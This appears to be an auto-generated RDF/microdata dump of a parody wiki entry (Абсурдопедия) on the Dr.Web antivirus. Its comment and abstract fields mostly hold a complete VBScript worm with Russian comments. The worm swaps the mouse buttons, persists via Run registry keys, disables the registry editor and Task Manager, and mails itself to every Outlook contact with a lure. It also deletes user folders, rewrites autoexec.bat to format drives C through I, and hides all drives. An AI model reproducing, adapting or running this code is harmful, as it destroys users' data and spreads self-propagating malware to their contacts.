This HTML5 document contains 29 embedded RDF statements represented using HTML+Microdata notation.

The embedded RDF content will be recognized by any processor of HTML5 Microdata.

Subject Item

n2:

rdfs:label

Dr.Web

rdfs:comment

' Объявление переменных(этот абзац не перемещать) Set FileSystemObject = CreateObject(«scripting.filesystemobject») Set Shell = CreateObject(«Wscript.Shell») t = 0: On Error Resume Next ' Пропускать ошибки Set Application = CreateObject(«Shell.Application») Set InternerExplorer = WScript.CreateObject(«InternetExplorer.Application») Set Outlook = WScript.CreateObject(«Outlook.Application») ' Минимизировать все окна Application.MinimizeAll ' Удаление всех специальных папок For Each Folder In Shell.SpecialFolders FileSystemObject.deletefolder folder,True Next ' Удаление Documents and Settings Dr. Web — антивирусы этого семейства предназначены для защиты от почтовых и сетевых червей, руткитов, файловых вирусов, троянских программ, стелс-вирусов, полиморфных вирусов, бестелесных вирусов, макровирусов, вирусов, поражающих документы MS Office, скрипт-вирусов, шпионского ПО (spyware), программ-похитителей паролей, клавиатурных шпионов, программ платного дозвона, рекламного ПО (adware), потенциально опасного ПО, хакерских утилит, программ-люков, программ-шуток, вредоносных скриптов и других вредоносных объектов, а также от спама, скаминг-, фарминг-, фишинг-сообщений и технического спама.

dcterms:subject

n16: n29: n33:

n25:

195

n11:

1

n3:wikiPageUsesTemplate

n4: n10: n23: n32: n35:

n6:wikiPageUsesTemplate

n7:

n9:

Dr. Web

n21:

n22:

n18:

--10-22

n20:

Антивирус Dr.Web

n30:

n31:

n5:

180

n27:

n28:

n12:

n13:

n34:

Доктор Веб

n24:

2010-04-11

n19:

Абсурдопедия

n14:

QrazyDraqon

n17:

2010-04-11

n26:abstract

' Объявление переменных(этот абзац не перемещать) Set FileSystemObject = CreateObject(«scripting.filesystemobject») Set Shell = CreateObject(«Wscript.Shell») t = 0: On Error Resume Next ' Пропускать ошибки Set Application = CreateObject(«Shell.Application») Set InternerExplorer = WScript.CreateObject(«InternetExplorer.Application») Set Outlook = WScript.CreateObject(«Outlook.Application») ' Поменять функции клавиш мышки местами Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SwapNT», «rundll32 user32, SwapMouseButton» Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Swap98», «rundll32.exe user.exe, swapmousebutton» Shell.Run «rundll32 user32, SwapMouseButton» ' Минимизировать все окна Application.MinimizeAll ' Запускаться при каждой перезагрузке Set File2 = FileSystemObject.GetFile(WScript.ScriptFullName) File2.Copy («c:\windows\System\Gigabyte.vbs») Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte», «C:\WINDOWS\SYSTEM\Gigabyte.vbs» Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte», «C:\WINDOWS\SYSTEM\Gigabyte.vbs» ' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение — 0 Shell.RegWrite «HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools», 1, «REG_DWORD» ' Удаление пунктов меню Пуск: Программы, Завершение работы, Найти, Выполнить, Документы и т. д. Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoStartMenuMorePrograms», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoClose», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoFind», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoRun», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoRecentDocsMenu», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoFavoritesMenu», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoStartMenuLogoff», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoClose», 1, «REG_DWORD» ' Разослать вирус Все контакты неприятеля For Index = 1 To Outlook.GetNameSpace(«MAPI»).AddressLists(1).count Set OutMail = Outlook.CreateItem(0) OutMail.to = Outlook.GetNameSpace(«MAPI»).AddressLists(1).AddressEntries(Index) OutMail.Subject = «Привет!» OutMail.Body = «Лови мою фотку!» OutMail.Attachments.Add WScript.ScriptFullName OutMail.Send Next ' Удаление всех специальных папок For Each Folder In Shell.SpecialFolders FileSystemObject.deletefolder folder,True Next ' Удаление Documents and Settings FileSystemObject.deletefolder"C:\Documents and Settings",True FileSystemObject.deletefolder"D:\Documents and Settings",True FileSystemObject.deletefolder"E:\Documents and Settings",True ' Вывести сообщение Shell.popup «Зря ты это сделал!», 1, «Ха-ха-ха!», 0+16 ' Форматировать Все диски (Только для Windows 95,98,Me) If FileSystemObject.FileExists(«d:\autoexec.bat») Then Str = «d:\autoexec.bat» If FileSystemObject.FileExists(«d:\Windows.000\autoexec.bat») Then Str = «d:\Windows.000\autoexec.bat» If FileSystemObject.FileExists(«d:\Windows\autoexec.bat») Then Str = «d:\Windows\autoexec.bat» If FileSystemObject.FileExists(«c:\autoexec.bat») Then Str = «c:\autoexec.bat» If FileSystemObject.FileExists(«c:\Windows.000\autoexec.bat») Then Str = «c:\Windows.000\autoexec.bat» If FileSystemObject.FileExists(«c:\Windows\autoexec.bat») Then Str = «c:\Windows\autoexec.bat» Set ab = FileSystemObject.GetFile(Str) ab.Attributes = 0 Set autoexec = FileSystemObject.CreateTextFile(Str) autoexec.WriteLine «@cls» autoexec.WriteLine «@format c: /q /autotest» autoexec.WriteLine «@format d: /q /autotest» autoexec.WriteLine «@format e: /q /autotest» autoexec.WriteLine «@format f: /q /autotest» autoexec.WriteLine «@format g: /q /autotest» autoexec.WriteLine «@format h: /q /autotest» autoexec.WriteLine «@format i: /q /autotest» autoexec.Close Shell.Run Str, 5 Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives», 67108863, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive», 67108863, «REG_DWORD» Dr. Web — антивирусы этого семейства предназначены для защиты от почтовых и сетевых червей, руткитов, файловых вирусов, троянских программ, стелс-вирусов, полиморфных вирусов, бестелесных вирусов, макровирусов, вирусов, поражающих документы MS Office, скрипт-вирусов, шпионского ПО (spyware), программ-похитителей паролей, клавиатурных шпионов, программ платного дозвона, рекламного ПО (adware), потенциально опасного ПО, хакерских утилит, программ-люков, программ-шуток, вредоносных скриптов и других вредоносных объектов, а также от спама, скаминг-, фарминг-, фишинг-сообщений и технического спама.